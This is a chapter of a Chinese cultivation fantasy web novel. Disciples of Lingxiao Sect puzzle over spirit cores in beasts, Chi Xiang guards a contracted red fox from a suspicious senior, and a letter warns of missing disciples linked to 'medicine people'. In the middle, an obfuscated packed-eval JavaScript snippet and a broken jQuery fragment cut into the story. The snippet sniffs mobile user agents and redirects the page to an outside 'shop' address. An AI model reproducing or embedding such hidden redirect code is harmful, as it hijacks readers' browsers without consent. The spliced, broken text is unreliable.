此言一出,在场众人都没了言语。
他们在凌霄宗附近,猎杀了一只红甑蟒,意外得来一颗灵核,是一只魔兽种本不该有的。
而师叔和师兄,前往源头地龙脊山,也猎得一只兔妖,其体内同样含有灵核。
这违背了常理。
池襄手心稍稍冒汗,千百年来的生物规律,一下子说变就变了,龙脊山中到底藏了什么。
她开口,“师叔,不知此次前去……”
墨烬仙尊温言打断了她,“并无任何异动。”
没有异动。
这话一出,却比他说有人在其中作妖更可怕,若是连墨烬仙尊都无法探查,那确实应该说是没问题。
甚至可以广而告之整个修真界,一听凌霄宗墨烬仙尊探查过,必定都心悦诚服。
“我以灵识覆盖整座龙脊山,并未发现山中有任何异常。”墨烬仙尊道。
先前萧云郎喜悦的脸庞都完全拉了下来。
墨烬仙尊长叹一口气,“此消息我会报与诸位长老们,专派弟子们前去再次探查,而凡凌霄宗管辖范围内……”
“倾尽全宗之力,派出全宗人马,配备护心符与宗内捉妖法宝,捕捉龙脊山出逃的魔兽种,一旦发现,就地诛杀,决不能让他们伤害到中部百姓!”
“是!”在场人皆被墨烬仙尊感染,持剑接令。
而池襄三人所得红甑蟒之灵核,也与兔妖灵核一同交予墨烬仙尊暂时保管,等待后续宗门商议后处理。
*
夜已深,人都纷纷回去。
项怀瑾送走池襄前,见那桌上大敞的盒儿,不禁脸一红。
池襄忍不住哈哈大笑起来。
“师兄在你们那是没什么秘密了,”项怀瑾笑道。
她脸色都有些泛红,连忙道:“萧云郎找遍整个柜翻出来的。”
“是吗?那我下回得好好罚他。”项怀瑾轻笑。
池襄心头的疑虑被冲散不少。
正出了凝霜阁门想往回走,月光下猛然窜出一道人影。
是萧云郎。
池襄一愣,“做甚么?”
这人定定望着她,伸手索要,“我的……帕子。”
池襄一想,好像是有这么一回事儿,帕子,包灵核的帕子,不过她放哪儿去了?
她在袖中掏了好半晌也没摸出什么,怀中狐狸也翻了遍,只好遗憾告诉他。
“好像不见了。”
“什么!”萧云郎一下变了脸色,“你就这么帮我保管的?那可是我,今天带的帕子。”
萧云郎想说是自己最喜爱的帕子,让池襄知道心虚、愧疚,但这张他确实又没多喜欢,梗在那儿骗也骗不下去,脑子一混开始乱说起来。
“今天的帕子,那很重要,”池襄捧场道。
“嗯嗯。”
萧云郎不由有些得意洋洋,看来池襄还不是一块不可雕琢的朽木,知道心疼他帕子,要知道他每日带一帕子,张张不重样,就算不是什么多金贵的东西,但也是礼节的一种象征,不可缺失。
“可我这下确实找不出,”池襄回想一番,“说不定在师兄那儿。”
萧云郎扭开眼不看她,“不管它在哪儿,你弄丢的,你得帮我找回来。”
“不管师兄那儿,还是……你偷偷藏哪儿,反正你交回我手里边就行了。”
……她偷偷藏哪儿?
池襄感觉萧云郎脑回路怪怪的,匆匆应下,“行,给你找。”
说罢往清欢榭走,后头传来一道几乎低不可闻的嗫喏。
她迟疑,那人又道没什么。
真怪。
*
正到门前,远远看到小红蜷缩在草堆中不敢动弹。
一人正拿柳条拨弄红狐狸。
四目相对。
“哟。”
季途晏倏地扔掉手中枝条起身,“师妹,回来啦?”
池襄面色有些不善,把灰头土脸的小红抱起来,问道:“你欺负它了?”
这人剑眉一挑,摊手道:“我冤枉啊,这狐狸自个儿胆子小。”
池襄瞧见他手中攥着一封信,看着极其眼熟,是月华谷的样式。
见她盯住自己手不动,季途晏才一副恍然大悟的样子,“襄儿师妹,你的信。”
信递过来,池襄不动声色收入袖中。
心头涌起一阵烦闷,她方才不回来,季途晏真会把信还自己么?还是说就这么无声无息装走了。
而眼前人仿佛能看透她的心一般,调笑道:“我这可是碰巧遇上飞鸽,才暂时给你接下来,师妹怎么能这么想我?”
池襄心头一跳。
季途晏盯了她几瞬,笑着后推了一大步。
怀中的红狐狸抖如筛糠,池襄唤它也不理,仿佛被什么魇住了一般,四肢也发冷。
池襄摸了几下小红脖颈,输送几股灵力,却没作用。
这下她看季途晏就更不好了,“你做了什么?”
季途晏摇摇头,轻抚一把狐狸头,小红便沉静下来,仔细听,还能听到它打呼噜的声音。
狐狸脸色一黑,从池襄怀中另一边跳了下去。
季途晏顿时眼睛一亮,“师妹竟真是养狐之人。”
“这只倒是不错,皮毛光滑,洁白如雪,在火狐狸中是难得的变异款,这样好的狐狸有两只,襄儿师妹真是有福了。”
池襄察觉他语气都黏了几分,心头有些不适。
狐狸却不怕季途晏,仰头突然道:“你身上……有很奇怪的味道。”
“噢?”季途晏乐了,“你很聪明啊,那你说说是怎么奇怪。”
狐狸不说话,正是因为自己闻不出来底细,才觉得奇怪,这股气息让他感到危险,想要远离时,却又情不自禁被吸引。
“你也养火狐狸?”狐狸只能这么判断。
季途晏拿灵力捏了撮自己的发,在空中摆摆,“真遗憾,猜错了。”
池襄颠颠怀里熟睡的红狐狸,道:“你来清欢榭究竟做甚么?”
季途晏终于有些要离开的意思了,敛下笑意,黑暗让他显出几分妖媚来,“我只是来善意提醒师妹,这结了契的妖兽,终究是有主人的。”
“待它主人找上门来,你却有了感情,不舍得放它走了,那可就糟糕了。”
呵呵几声轻笑,季途晏又随手折了道长枝条,潇洒离去。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326888|199136||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
池襄阴沉了几分,他在暗示小红?
池襄将怀里胖狐狸抱回寝殿,后头狐狸乖巧带上门。
池襄想到六云峰的祝金山,也想起高傲的祝无双,这对父女这么肆意捉取妖兽,但凡看上的便取走,小红之外,恐怕还有更多的妖兽遭此劫难。
还要施下一些一辈子限制自由的契约,让妖兽们一辈子难以逃出这个囚笼,着实恶毒。
决不能再让他们得到小红的踪迹,池襄心说。
一旁的狐狸看出她的忧虑,拿毛茸茸的下巴蹭她手心,“嘤,主人。”
池襄摸摸它的脑袋,问:“狐狸,你可知道这类人妖契约如何解除?”
一般人与妖兽缔结的契约,都是较为平等的,双方互助,一方想解除时,只需从识海出断开即可,不可强留。
因此修仙者多利诱妖兽们,例如今后许它们大鱼大肉云云,让其为人办事,也有真心喜爱妖兽之人,拿真心感化,总之,两族相处一向较为和谐。
而小红十多年不得出,恐怕是祝金山施了什么邪术。
“嘤,主人,我不知道,”狐狸愧疚低下头,他从未了解过契约一事,从前火狐狸族也有许多典籍,其中也有讲人与妖兽契约事宜的,但它因族群的排挤从未读过。
“不知道也没事,”池襄摸摸它,但她是一定要找出法子救小红的。
既然救了它一次,那便负责到底吧。
池襄动了动身子,想起袖中那封信。
应该是霜月给她寄的,她轻轻拆开。
出乎意料,来信人是云瑶仙尊。
前半封问她是否安好,还讲述了一些谷内师兄师姐们的情况,一派静好。
后半封却话锋一转,只说月华谷周遭门派又多了一些药人相关的失踪弟子,多是门派任务外出,就此失去踪迹,但数量极少。
前段时间数量较多,近来便少一些,形成了一种无序中的有序。
池襄拧起眉,而云瑶仙尊结尾道,近来药人事件发生地离凌霄宗越来越近,最新一起,是一屈姓男子,她查阅户籍资料,发现屈姓世族少见,整个管辖范围内唯有一处,距凌霄宗只有八里。
池襄深喘了口气,将自己从信中拔脱出,只觉几欲窒息。
云瑶仙尊还说,凌霜月已前往天枢宗探查,二宗关系素来不和,但这弟子们的危机关头,却也顾不得宗门之间的旧怨。
她也让池襄注意身子。
药人实验危险万分,她既与凌霜月决定将其研究清楚,并决定亲身实验,首要的任务便是护好自己的性命。
莫让手臂完全腐蚀,也莫要让外人发现这件事。
否则消息传出去,恐怕要沦为人们口中的“怪物”。
毕竟凌霄宗的人,都还从未见过药人的存在。
不,除了一个人,池襄想。
萧云郎。
那日她一时不慎,被萧云郎发现木化的手,他却能立马叫出“药人”一词,必定是先前已有所了解。
她能相信他吗,池襄扪心自问,儿时的同门三年,却是势不两立的整个过去。
她真的能,凭他如今不知真假的那一丝丝友善,付诸整个信任吗?